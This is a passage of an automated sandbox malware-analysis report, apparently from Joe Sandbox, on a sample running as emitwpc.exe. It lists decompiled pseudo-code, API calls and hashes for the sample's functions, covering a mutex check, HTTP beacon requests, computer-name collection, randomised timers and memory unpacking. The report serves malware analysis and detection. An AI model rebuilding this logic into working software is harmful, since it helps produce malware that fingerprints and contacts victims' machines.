0x002a11c7
0x002a11c8
0x002a11c9
0x002a11ca
0x002a11cb
0x002a11cc
0x002a11cd
0x002a11d6
0x002a11d7
0x002a11ec
0x002a11f1
0x002a11fa
0x002a1203
0x002a1203
0x002a120a
0x002a120a
0x002a1211
0x002a1211
0x002a10a5
0x002a10b0
0x002a10c7
0x002a10d6
0x002a10dc
0x002a10df
0x002a10e1
0x002a10f7
0x002a10fb
0x002a10fe
0x002a1105
0x002a110b
0x002a110b
0x002a10fb
0x002a1111
0x002a1119
0x00000000
0x00000000
0x002a1119
0x002a121f

APIs

GetCurrentProcessId.KERNEL32 ref: 002A1043
_snwprintf.NTDLL ref: 002A107F
CreateMutexW.KERNEL32(00000000,00000001,?), ref: 002A1099
GetLastError.KERNEL32 ref: 002A10A5
CloseHandle.KERNEL32(00000000), ref: 002A1111

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseCreateCurrentErrorHandleLastMutexProcess_snwprintf
String ID:
API String ID: 670123879-0
Opcode ID: 31eda3be7ce9b1af34724128427d9cdc2bab73facfd08e103ecc516380260cb4
Instruction ID: 751a945983d05c9625ef261db8130b7775f2e9d4d1025a4997d27d5d466fb82d
Opcode Fuzzy Hash: 31eda3be7ce9b1af34724128427d9cdc2bab73facfd08e103ecc516380260cb4
Instruction Fuzzy Hash: 1C01FC35660105D7DB51EF90AC897ED7779DB81361F104669E70D92101DF305F784B92

Uniqueness

Uniqueness Score: 0.01%

Function 002AC620, Relevance: 7.5, APIs: 5, Instructions: 37
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E002AC620(void* __eflags) {
				void* __esi;
				void* _t1;
				long _t3;
				void* _t4;
				long _t8;
				void* _t10;
				void* _t11;
				int _t12;

				_t12 = 0; // executed
				_t1 = L002AC500(_t10, _t11, 0, __eflags); // executed
				if(_t1 == 0) {
					L9:
					return _t12;
				}
				_t3 = WaitForSingleObject( *0x2b308c, 0);
				if(_t3 == 0) {
					L3:
					_t4 = L002AC560(_t10, _t11, _t12, _t16); // executed
					_t17 = _t4;
					if(_t4 != 0) {
						if(L002AC5C0(_t10, _t11, _t12, _t17) != 0) {
							_t8 = SignalObjectAndWait( *0x2b2d58,  *0x2b2d54, 0xffffffff, 0);
							if(_t8 == 0 || _t8 == 0x80) {
								_t12 = ResetEvent( *0x2b2d58);
							}
						}
						ReleaseMutex( *0x2b308c);
						CloseHandle( *0x2b308c);
					}
					goto L9;
				}
				_t16 = _t3 - 0x80;
				if(_t3 != 0x80) {
					goto L9;
				}
				goto L3;
			}

0x002ac621
0x002ac623
0x002ac62a
0x002ac69d
0x002ac6a0
0x002ac6a0
0x002ac633
0x002ac63b
0x002ac644
0x002ac644
0x002ac649
0x002ac64b
0x002ac654
0x002ac666
0x002ac66e
0x002ac683
0x002ac683
0x002ac66e
0x002ac68b
0x002ac697
0x002ac697
0x00000000
0x002ac64b
0x002ac63d
0x002ac642
0x00000000
0x00000000
0x00000000

APIs

WaitForSingleObject.KERNEL32(00000000), ref: 002AC633
SignalObjectAndWait.KERNEL32(000000FF,00000000), ref: 002AC666
ResetEvent.KERNEL32 ref: 002AC67D
ReleaseMutex.KERNEL32 ref: 002AC68B
CloseHandle.KERNEL32 ref: 002AC697

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: ObjectWait$CloseEventHandleMutexReleaseResetSignalSingle
String ID:
API String ID: 3756552044-0
Opcode ID: b371e5b49194602a908513d7bf58f3e63019ca484b0525b0be803987f3d149fd
Instruction ID: ee9a1b2fac592c91f4b03b245f4f97d3f497521c18e7853686f12124bad0e662
Opcode Fuzzy Hash: b371e5b49194602a908513d7bf58f3e63019ca484b0525b0be803987f3d149fd
Instruction Fuzzy Hash: 5CF0F930620112DBDF25AF75FD0CB197A6DAF82B60B245724F905D50B0EE21DD619F64

Uniqueness

Uniqueness Score: 0.01%

Function 002ACB13, Relevance: 7.5, APIs: 5, Instructions: 18
windowsynchronizationCOMMON

Control-flow Graph

Executed
Not Executed

APIs

TranslateMessage.USER32(?), ref: 002ACAE4
DispatchMessageW.USER32(?), ref: 002ACAEE
WaitForSingleObject.KERNEL32(00000000), ref: 002ACAFC
GetMessageW.USER32 ref: 002ACB13
DestroyWindow.USER32 ref: 002ACB1E

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Message$DestroyDispatchObjectSingleTranslateWaitWindow
String ID:
API String ID: 710846951-0
Opcode ID: 1c5f90dcac3acfbd721acf6b6d5519508b88bc3de3221c45abf81d930b117f69
Instruction ID: 42555e201de085cb8dd9a06bf536a9396ccadfd7b00b94c0aec37dfd083d94b1
Opcode Fuzzy Hash: 1c5f90dcac3acfbd721acf6b6d5519508b88bc3de3221c45abf81d930b117f69
Instruction Fuzzy Hash: 4DE0B671A2010ADBDB10AFA0FC8EB6D3B7DAB0A301B244615F112D2022DB749462AB20

Uniqueness

Uniqueness Score: 0.03%

Function 002A1760, Relevance: 6.0, APIs: 4, Instructions: 20
networkCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E002A1760(void* __edx, void* __edi) {
				int _t6;
				void* _t12;
				void* _t14;
				void* _t21;
				intOrPtr _t23;
				void* _t25;

				_t21 = __edi;
				_t6 = HttpSendRequestW(??, ??, ??, ??, ??); // executed
				if(_t6 != 0) {
					_t12 = L002A15A0(_t6, __edi, __edx);
					_t29 = _t12 - 0xc8;
					if(_t12 == 0xc8) {
						 *((intOrPtr*)(_t25 - 4)) = L002A1620(__edi,  *((intOrPtr*)(_t25 + 0x1c)), _t29);
					}
				}
				InternetCloseHandle(_t21); // executed
				InternetCloseHandle( *(_t25 - 8));
				_t23 =  *((intOrPtr*)(_t25 - 4));
				InternetCloseHandle(_t14);
				E002A1830( *((intOrPtr*)(_t25 - 0xc)));
				return _t23;
			}

0x002a1760
0x002a1760
0x002a1768
0x002a1771
0x002a1776
0x002a177b
0x002a1787
0x002a1787
0x002a177b
0x002a178b
0x002a1794
0x002a179a
0x002a179e
0x002a17a7
0x002a17b4

APIs

HttpSendRequestW.WININET ref: 002A1760
InternetCloseHandle.WININET ref: 002A178B
InternetCloseHandle.WININET(00000000), ref: 002A1794
InternetCloseHandle.WININET ref: 002A179E

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandleInternet$Heap$FreeHttpProcessRequestSend
String ID:
API String ID: 1687853127-0
Opcode ID: ad3f2c6dfb2f3c7a327567bdde38b44786cac8757886435366865b1a9d3292f9
Instruction ID: d014de0e3b81f9102c14ac3c3ef12253d6a321a12bae9ee630c817582bc44b83
Opcode Fuzzy Hash: ad3f2c6dfb2f3c7a327567bdde38b44786cac8757886435366865b1a9d3292f9
Instruction Fuzzy Hash: 39E0EC36A11154EBCB00BBA4FC8C46DB778EB49362B1503A5E906D2163CB354A609B40

Uniqueness

Uniqueness Score: 0.05%

Function 0028290C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192
memoryCOMMON

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0028274F: VirtualAlloc.KERNEL32 ref: 002827C2

VirtualProtect.KERNEL32 ref: 00282A96
VirtualProtect.KERNEL32 ref: 00282B98

Strings

x, xrefs: 00282AD7

Memory Dump Source

Source File: 0000000D.00000002.1560953872.00280000.00000040.sdmp, Offset: 00280000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_280000_emitwpc.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID: x
API String ID: 2541858876-2363233923
Opcode ID: 0ddab55a6ad88e1b88f54d3d79df14ee660cb716018bd1d5d286f823d0104ecc
Instruction ID: c143c4d8eeab988f4c9a89cc02544e856202428bbb79c02e28e37bebe70d3842
Opcode Fuzzy Hash: 0ddab55a6ad88e1b88f54d3d79df14ee660cb716018bd1d5d286f823d0104ecc
Instruction Fuzzy Hash: 6191C1B4E012198FDB14CF99C98069DFBF1FF48304F2581AAD958AB355D730A996CF81

Uniqueness

Uniqueness Score: 0.02%

Function 002AD92A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E002AD92A(DWORD* __eax, void* __ebx, char* __esi) {
				int _t14;
				void* _t15;
				intOrPtr _t19;
				char* _t20;
				int _t23;
				char _t25;
				void* _t32;
				void* _t39;
				void* _t41;

				_t36 = __esi;
				 *(_t39 - 4) = 0x10;
				_t14 = GetComputerNameW(_t39 - 0x34, __eax); // executed
				if(_t14 == 0) {
					L13:
					 *(_t39 - 0x14) = 0x58;
					L14:
					goto 0x2c1bff;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t15 = L002A1C80(_t30, 0xcc, _t36);
					 *0x2b3350("436432_3C4E0000", 0x104, _t15, _t39 - 0x14,  *0x2b33ac);
					return L002A1DB0(_t15);
				}
				_t32 = _t39 - 0x34;
				_t19 = E002A13A0(_t32);
				_push(_t32);
				 *0x2b3308 = _t19;
				_t20 = L002A1C80(0x2b1c00, 0x14c, __esi);
				_t41 = _t41 + 4;
				_t36 = _t20;
				_t23 = WideCharToMultiByte(0, 0x400, _t39 - 0x34, 0xffffffff, _t39 - 0x14, 0x10, _t36, 0);
				_t30 = _t36;
				L002A1DB0(_t36);
				if((0 | _t23 > 0x00000000) == 0) {
					goto L13;
				}
				_t30 = _t39 - 0x14;
				if( *(_t39 - 0x14) == 0) {
					goto L14;
				}
				do {
					_t25 =  *_t30;
					if(_t25 < 0x30 || _t25 > 0x39) {
						if(_t25 < 0x61 || _t25 > 0x7a) {
							if(_t25 < 0x41 || _t25 > 0x5a) {
								 *_t30 = 0x58;
							}
						}
					}
					_t30 =  &(_t30[1]);
				} while ( *_t30 != 0);
				goto L14;
			}

0x002ad92a
0x002ad92a
0x002ad936
0x002ad93e
0x002ad9c5
0x002ad9c5
0x002ad9cb
0x002ad9cb
0x002ad9d0
0x002ad9d1
0x002ad9d2
0x002ad9d3
0x002ad9d6
0x002ad9f2
0x002ada06
0x002ada06
0x002ad945
0x002ad948
0x002ad94d
0x002ad953
0x002ad95d
0x002ad962
0x002ad965
0x002ad97d
0x002ad985
0x002ad98c
0x002ad994
0x00000000
0x00000000
0x002ad99a
0x002ad99d
0x00000000
0x00000000
0x002ad9a0
0x002ad9a0
0x002ad9a4
0x002ad9ac
0x002ad9b4
0x002ad9ba
0x002ad9ba
0x002ad9b4
0x002ad9ac
0x002ad9bd
0x002ad9be
0x00000000

APIs

GetComputerNameW.KERNEL32(?), ref: 002AD936
WideCharToMultiByte.KERNEL32(00000000,00000400,?,000000FF,?,00000010,00000000,00000000), ref: 002AD97D

Strings

X, xrefs: 002AD9C5

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: ByteCharComputerMultiNameWide
String ID: X
API String ID: 4013585866-3081909835
Opcode ID: 3cfd24063cfab98c990e3e6c8376f5652a29f6e2cd71e6a0d55bcdf8c33fbd6f
Instruction ID: e3a45054513582198baaa5a179872504a33b2b919e72925bf56182067e2473b9
Opcode Fuzzy Hash: 3cfd24063cfab98c990e3e6c8376f5652a29f6e2cd71e6a0d55bcdf8c33fbd6f
Instruction Fuzzy Hash: 5B11597196110BAFEB10DBA8DC89BEB3BA99F03700F200115E247E54D1DF60DA768B16

Uniqueness

Uniqueness Score: 0.01%

Function 002AC6B0, Relevance: 4.6, APIs: 3, Instructions: 93
stringCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E002AC6B0(void* __ebx, void* __eflags) {
				char _v16;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				char _v76;
				char _v84;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t41;
				intOrPtr _t43;
				void* _t48;
				void* _t54;
				intOrPtr _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t90;
				void* _t93;
				void* _t94;
				void* _t101;

				_t101 = __eflags;
				_t67 = __ebx;
				_t5 = GetTickCount() % 0xea60 + 0xcd140; // 0xcd140
				_t94 = _t5;
				_t68 = L002ADFF0(_t38 / 0xea60);
				_t41 =  *0x2b4cd0; // 0x0
				_v44 = _t41;
				_v40 = _t68;
				_v40 =  *0x2b30b0(_t68, _t90, _t93);
				_t43 = L002A2770(_t42); // executed
				_v36 = _t43;
				_v32 = E002A21B0();
				_v28 = E002ADFE0();
				L002A2690( &_v24); // executed
				E002AE290( &_v16);
				_t48 = L002ACBA0( &_v76,  &_v48, _t101);
				_t102 = _t48;
				if(_t48 != 0) {
					_push( &_v84);
					_push( &_v76); // executed
					_t54 = L002A6BD0(0x2b4cb0, _t102); // executed
					if(_t54 == 0) {
						_t31 = GetTickCount() % 0xbb8;
						__eflags = _t31;
						_t34 = _t31 + 0xbb8; // 0xbb8
						_t94 = _t34;
						E002A6D80(0x2b4cb0);
					} else {
						_t104 = _v48 & 0x00000003;
						if((_v48 & 0x00000003) == 0) {
							L002ADF10(_t54, 0x2b4cb0, 0xea60, _t94);
						}
						if(L002ACC50(_t67,  &_v84,  &_v68, _t104) == 0) {
							L11:
							E002A1830(_v84);
						} else {
							_t61 = _v68;
							if(_t61 != 0) {
								__eflags = _t61 - 1;
								_t94 =  ==  ? 0xea60 : _t94;
								goto L11;
							} else {
								L002AE390();
								_t88 = _v60;
								_t107 = _v60;
								if(_v60 != 0) {
									L002ADEC0(_v64, _t88, _t107);
								}
								_t108 = _v52;
								if(_v52 == 0) {
									goto L11;
								} else {
									L002AE300(_v56, 0xea60, _t94, _t108);
									_t94 = 0;
									E002A1830(_v84);
								}
							}
						}
					}
					E002A1830(_v76);
				}
				E002A1830(_v16);
				E002A1830(_v24);
				return _t94;
			}

0x002ac6b0
0x002ac6b0
0x002ac6ca
0x002ac6ca
0x002ac6d5
0x002ac6d7
0x002ac6dd
0x002ac6e1
0x002ac6eb
0x002ac6ef
0x002ac6f4
0x002ac6fd
0x002ac70a
0x002ac70e
0x002ac717
0x002ac724
0x002ac729
0x002ac72b
0x002ac73a
0x002ac73f
0x002ac740
0x002ac74a
0x002ac7c3
0x002ac7c3
0x002ac7ca
0x002ac7ca
0x002ac7d0
0x002ac74c
0x002ac74c
0x002ac751
0x002ac753
0x002ac753
0x002ac767
0x002ac7ab
0x002ac7af
0x002ac769
0x002ac769
0x002ac76f
0x002ac7a5
0x002ac7a8
0x00000000
0x002ac771
0x002ac771
0x002ac776
0x002ac77a
0x002ac77c
0x002ac782
0x002ac782
0x002ac78b
0x002ac78d
0x00000000
0x002ac78f
0x002ac793
0x002ac79c
0x002ac79e
0x002ac79e
0x002ac78d
0x002ac76f
0x002ac767
0x002ac7d9
0x002ac7d9
0x002ac7e2
0x002ac7eb
0x002ac7f7

APIs

GetTickCount.KERNEL32 ref: 002AC6BB
lstrlen.KERNEL32(00000000), ref: 002AC6E5
GetTickCount.KERNEL32 ref: 002AC7B6

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CountHeapTick$FreeProcesslstrlen
String ID:
API String ID: 3646860851-0
Opcode ID: 2dc9d9f0fc7cd749689dfd91ec13c6079fe4b39fb6915882e19232521a927e48
Instruction ID: 6a97459996d3e46ea76db369cecedb9989fa9cac50c7d3571430ca78a422860f
Opcode Fuzzy Hash: 2dc9d9f0fc7cd749689dfd91ec13c6079fe4b39fb6915882e19232521a927e48
Instruction Fuzzy Hash: 783159306383018BC704EF25D89596BB7E9AFC6360F544A2DF94697251EF30D925CF92

Uniqueness

Uniqueness Score: 0.05%

Function 002A171B, Relevance: 4.5, APIs: 3, Instructions: 37
networkCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E002A171B() {
				void* __edi;
				long _t8;
				int _t15;
				void* _t17;
				void* _t19;
				void* _t21;
				void* _t30;
				void* _t31;
				void* _t33;
				void* _t34;
				intOrPtr _t35;
				void* _t37;

				_t34 = L002A1D10(_t21, 0xcc, _t30, _t33);
				_t8 = L002A1590(_t7);
				_t23 =  !=  ? _t34 : 0;
				_t31 = HttpOpenRequestW(_t30,  !=  ? _t34 : 0, 0, 0, 0, 0, _t8, 0);
				L002A1DB0(_t34);
				if(_t31 != 0) {
					goto 0x2c0308;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3"); // executed
					_t15 = HttpSendRequestW(); // executed
					if(_t15 != 0) {
						_t17 = L002A15A0(_t15, _t31, 0xcc);
						_t45 = _t17 - 0xc8;
						if(_t17 == 0xc8) {
							 *((intOrPtr*)(_t37 - 4)) = L002A1620(_t31,  *((intOrPtr*)(_t37 + 0x1c)), _t45);
						}
					}
					InternetCloseHandle(_t31); // executed
				}
				InternetCloseHandle( *(_t37 - 8));
				_t35 =  *((intOrPtr*)(_t37 - 4));
				InternetCloseHandle(_t19);
				E002A1830( *((intOrPtr*)(_t37 - 0xc)));
				return _t35;
			}

0x002a1725
0x002a1729
0x002a173c
0x002a1749
0x002a174b
0x002a1752
0x002a1754
0x002a1759
0x002a175a
0x002a175b
0x002a175c
0x002a175d
0x002a175e
0x002a175f
0x002a1760
0x002a1768
0x002a1771
0x002a1776
0x002a177b
0x002a1787
0x002a1787
0x002a177b
0x002a178b
0x002a178b
0x002a1794
0x002a179a
0x002a179e
0x002a17a7
0x002a17b4

APIs

HttpOpenRequestW.WININET(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002A1741
InternetCloseHandle.WININET(00000000), ref: 002A1794
InternetCloseHandle.WININET ref: 002A179E

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandleHeapInternet$FreeHttpOpenProcessRequest
String ID:
API String ID: 3820491364-0
Opcode ID: bb69a923f829c4964d5c0ba567e2121e1d9f855a6a14bb7a46184779bf807703
Instruction ID: fd856fce8d6ed67f719840d94ffa74572171a91bb4d71d4532efb0373c096175
Opcode Fuzzy Hash: bb69a923f829c4964d5c0ba567e2121e1d9f855a6a14bb7a46184779bf807703
Instruction Fuzzy Hash: D2F0E935F50210BBEB007B60BC4AB7D7364DB45B72F100269FD0693281DE605D308A51

Uniqueness

Uniqueness Score: 0.06%

Function 00282403, Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 34stringCOMMON

APIs

lstrcmp.KERNEL32 ref: 00282450

Strings

ABFTvUipMWyGCrCKo, xrefs: 00282409, 0028243A
FBREY, xrefs: 00282403, 00282441

Memory Dump Source

Source File: 0000000D.00000002.1560953872.00280000.00000040.sdmp, Offset: 00280000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_280000_emitwpc.jbxd

Similarity

API ID: lstrcmp
String ID: ABFTvUipMWyGCrCKo$FBREY
API String ID: 1534048567-490764154
Opcode ID: 9a80c0ff6850c5106452bf16595d5545085acaf6469b426d29c134e5a994cb39
Instruction ID: 379a2460be9657da39fcc395b135f186e4d62ee89e779620a05712f4eeb78c3f
Opcode Fuzzy Hash: 9a80c0ff6850c5106452bf16595d5545085acaf6469b426d29c134e5a994cb39
Instruction Fuzzy Hash: C1014479E1222ACBCB00DF98FC4418DFBF5FF58315B658126D808A7311D370A991CB90

Uniqueness

Uniqueness Score: 5.06%

Function 002ADE40, Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 25
stringUNIQUE

C-Code - Quality: 90%

			E002ADE40(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				void* __ecx;
				intOrPtr _t1;
				void* _t6;
				int _t9;
				void* _t15;
				void* _t16;
				void* _t20;
				void* _t23;

				_t23 = __eflags;
				_t19 = __edi;
				_t15 = __ebx;
				_t1 =  *0x2b2d5c; // 0x3c4e0000
				 *0x2b33ac = _t1;
				L002AD560();
				L002AD530();
				L002AD680(_t16, _t20);
				E002AD6B0(__edi, _t20);
				_t6 = L002AD890(); // executed
				L002AD920(_t6, _t15, _t20); // executed
				L002AD720(_t16, _t19, _t20, _t23); // executed
				_t9 = lstrcmpiW("C:\Windows\system32\emitwpc.exe", "C:\Windows\system32\emitwpc.exe");
				if(_t9 != 0) {
					L002ADB60();
					__eflags =  *0x2b330c;
					if( *0x2b330c == 0) {
						goto 0x2c1e29;
						asm("int3");
						asm("int3");
						L002A2020(_t20);
						return 1;
					} else {
						L002ADC80(_t16, _t20);
						return 1;
					}
				} else {
					return _t9;
				}
			}

0x002ade40
0x002ade40
0x002ade40
0x002ade41
0x002ade46
0x002ade4b
0x002ade50
0x002ade55
0x002ade5a
0x002ade5f
0x002ade64
0x002ade69
0x002ade78
0x002ade80
0x002ade84
0x002ade89
0x002ade90
0x002ade9e
0x002adea3
0x002adea4
0x002adea7
0x002adeb5
0x002ade92
0x002ade92
0x002ade9d
0x002ade9d
0x002ade83
0x002ade83
0x002ade83

APIs

lstrcmpiW.KERNEL32(C:\Windows\system32\emitwpc.exe,C:\Windows\system32\emitwpc.exe,?,002AC857), ref: 002ADE78

Strings

C:\Windows\system32\emitwpc.exe, xrefs: 002ADE73
C:\Windows\system32\emitwpc.exe, xrefs: 002ADE6E

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: lstrcmpi
String ID: C:\Windows\system32\emitwpc.exe$C:\Windows\system32\emitwpc.exe
API String ID: 1586166983-292529833
Opcode ID: d494815f559db3c86176e6f47189508d6fc76e538a3cbdfcb4b248f5f4a04901
Instruction ID: a8fadf6c5cd83bbcf33d890111489af05aeba6a354b6e45fdc1a1bad842bb989
Opcode Fuzzy Hash: d494815f559db3c86176e6f47189508d6fc76e538a3cbdfcb4b248f5f4a04901
Instruction Fuzzy Hash: 1FE04F749712015BC724BFB5781B75E67D85F07705F544656F00786D53EE7484708E22

Uniqueness

Uniqueness Score: 100.00%

Function 002A176F, Relevance: 4.5, APIs: 3, Instructions: 24
networkCOMMON

C-Code - Quality: 100%

			E002A176F(void* __edx, void* __edi, void* __eflags) {
				void* _t6;
				void* _t7;
				void* _t14;
				void* _t21;
				intOrPtr _t23;
				void* _t25;

				_t21 = __edi;
				_t7 = L002A15A0(_t6, __edi, __edx);
				_t29 = _t7 - 0xc8;
				if(_t7 == 0xc8) {
					 *((intOrPtr*)(_t25 - 4)) = L002A1620(__edi,  *((intOrPtr*)(_t25 + 0x1c)), _t29);
				}
				InternetCloseHandle(_t21); // executed
				InternetCloseHandle( *(_t25 - 8));
				_t23 =  *((intOrPtr*)(_t25 - 4));
				InternetCloseHandle(_t14);
				E002A1830( *((intOrPtr*)(_t25 - 0xc)));
				return _t23;
			}

0x002a176f
0x002a1771
0x002a1776
0x002a177b
0x002a1787
0x002a1787
0x002a178b
0x002a1794
0x002a179a
0x002a179e
0x002a17a7
0x002a17b4

APIs

InternetCloseHandle.WININET ref: 002A178B
InternetCloseHandle.WININET(00000000), ref: 002A1794
InternetCloseHandle.WININET ref: 002A179E

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandleInternet$Heap$FreeProcess
String ID:
API String ID: 3563283120-0
Opcode ID: ee2dc28030a4717998edb45527080c654b12112fd02428b20b33df88753df6d5
Instruction ID: a80ee580d3bc78bececff383554c1a8ec29dfd309b295363bb673c0d557c40c3
Opcode Fuzzy Hash: ee2dc28030a4717998edb45527080c654b12112fd02428b20b33df88753df6d5
Instruction Fuzzy Hash: 48E0E539E11004ABCF00AFA4E8884BEB735EB85362F1442A6E90293252CF344E629B81

Uniqueness

Uniqueness Score: 0.05%

Function 002A2696, Relevance: 3.8, APIs: 3, Instructions: 79
stringCOMMON

C-Code - Quality: 94%

			E002A2696(intOrPtr __ecx) {
				intOrPtr* _t24;
				intOrPtr _t26;
				intOrPtr _t30;
				int _t36;
				signed int _t38;
				intOrPtr* _t40;
				intOrPtr* _t45;
				signed int _t51;
				intOrPtr* _t52;
				signed int _t54;
				intOrPtr* _t56;
				intOrPtr* _t58;
				WCHAR* _t59;
				void* _t60;

				 *((intOrPtr*)(_t60 - 4)) = 0;
				_t38 = 0;
				 *((intOrPtr*)(_t60 - 0xc)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				_t24 = __ecx + 4;
				_t51 = 0;
				 *((intOrPtr*)(_t60 - 0x10)) = _t24;
				 *_t24 = 0; // executed
				L002A1C00(0x2a2600, _t60 - 4); // executed
				_t56 =  *((intOrPtr*)(_t60 - 4));
				while(_t56 != 0) {
					_t6 = _t56 + 4; // 0x4
					_t36 = lstrlenW(_t6);
					_t56 =  *_t56;
					_t38 = _t38 + 1 + _t36;
				}
				_t26 = E002A17C0(_t38 + _t38);
				 *((intOrPtr*)(_t60 - 8)) = _t26;
				if(_t26 == 0) {
					_t52 =  *((intOrPtr*)(_t60 - 0xc));
				} else {
					_t40 =  *((intOrPtr*)(_t60 - 4));
					while(_t40 != 0) {
						_t10 = _t40 + 4; // 0x4
						_t59 = _t10;
						lstrcpyW(_t26 + _t51 * 2, _t59);
						_t54 = _t51 + lstrlenW(_t59);
						_t26 =  *((intOrPtr*)(_t60 - 8));
						 *((short*)(_t26 + _t54 * 2)) = 0x2c;
						_t51 = _t54 + 1;
						_t40 =  *_t40;
					}
					_push( *((intOrPtr*)(_t60 - 0x10)));
					_push(_t51);
					_t30 = L002A2810(_t26);
					_t52 =  *((intOrPtr*)(_t60 - 0xc));
					 *_t52 = _t30;
					E002A1830( *((intOrPtr*)(_t60 - 8)));
				}
				_t45 =  *((intOrPtr*)(_t60 - 4));
				if(_t45 != 0) {
					do {
						_t58 =  *_t45;
						E002A1830(_t45);
						_t45 = _t58;
					} while (_t58 != 0);
				}
				return 0 |  *_t52 != 0x00000000;
			}

0x002a2698
0x002a26a0
0x002a26a2
0x002a26a6
0x002a26ab
0x002a26b4
0x002a26b6
0x002a26b9
